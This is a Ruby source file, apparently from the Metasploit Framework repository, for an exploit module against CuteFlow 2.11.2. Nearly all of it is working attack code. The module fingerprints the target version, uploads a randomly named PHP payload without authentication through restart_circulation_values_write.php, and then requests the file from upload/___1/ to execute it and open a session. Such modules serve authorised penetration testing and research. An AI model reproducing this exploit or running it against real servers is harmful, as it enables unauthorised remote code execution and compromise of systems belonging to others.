sinn3r
c174e6a208
normalize_uri() should be used when you're joining URIs. Because if you're merging URIs after it's normalized, you could get double slashes again.
126 lines
3.4 KiB
Ruby
126 lines
3.4 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => "CuteFlow v2.11.2 Arbitrary File Upload Vulnerability",
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'Description' => %q{
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This module exploits a vulnerability in CuteFlow version 2.11.2 or prior.
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This application has an upload feature that allows an unauthenticated
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user to upload arbitrary files to the 'upload/___1/' directory
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and then execute it.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Brendan Coles <bcoles[at]gmail.com>' # Discovery and exploit
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],
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'References' =>
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[
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['URL', 'http://itsecuritysolutions.org/2012-07-01-CuteFlow-2.11.2-multiple-security-vulnerabilities/'],
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['OSVDB', '84829'],
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#['EDB', ''],
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],
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'Payload' =>
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{
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'BadChars' => "\x00"
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},
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'DefaultOptions' =>
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{
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'ExitFunction' => "none"
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},
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'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'Targets' =>
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[
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['Automatic Targeting', { 'auto' => true }]
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],
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'Privileged' => false,
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'DisclosureDate' => "Jul 27 2012",
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The path to the web application', '/cuteflow_v.2.11.2/'])
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], self.class)
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end
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def check
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base = normalize_uri(target_uri.path)
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base << '/' if base[-1, 1] != '/'
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res = send_request_raw({
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'method' => 'GET',
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'uri' => base
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})
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if res.body =~ /\<strong style\=\"font\-size\:8pt\;font\-weight\:normal\"\>Version 2\.11\.2\<\/strong\>\<br\>/
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return Exploit::CheckCode::Vulnerable
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elsif res.body =~ /\<a href\=\"http\:\/\/cuteflow\.org" target\=\"\_blank\"\>/
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return Exploit::CheckCode::Detected
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else
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return Exploit::CheckCode::Safe
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end
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end
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def upload(base, fname, file)
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# construct post data
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boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(10)}"
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data_post = "--#{boundary}\r\n"
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data_post << "Content-Disposition: form-data; name=\"attachment1\"; filename=\"#{fname}\"\r\n"
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data_post << "Content-Type: text/php\r\n"
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data_post << "\r\n"
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data_post << file
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data_post << "\r\n"
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data_post << "--#{boundary}\r\n"
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# upload
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(base, "pages/restart_circulation_values_write.php"),
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'ctype' => "multipart/form-data; boundary=#{boundary}",
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'data' => data_post,
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})
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return res
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end
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def exploit
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base = normalize_uri(target_uri.path)
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base << '/' if base[-1, 1] != '/'
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@peer = "#{rhost}:#{rport}"
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# upload PHP payload to upload/___1/
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print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length.to_s} bytes)")
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fname = rand_text_alphanumeric(rand(10)+6) + '.php'
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php = %Q|<?php #{payload.encoded} ?>|
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res = upload(base, fname, php)
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if res.nil?
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print_error("#{@peer} - Uploading PHP payload failed")
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return
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end
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# retrieve and execute PHP payload
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print_status("#{@peer} - Retrieving file: #{fname}")
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send_request_raw({
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'method' => 'GET',
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'uri' => normalize_uri(base, "upload/___1/#{fname}")
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})
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handler
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end
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end
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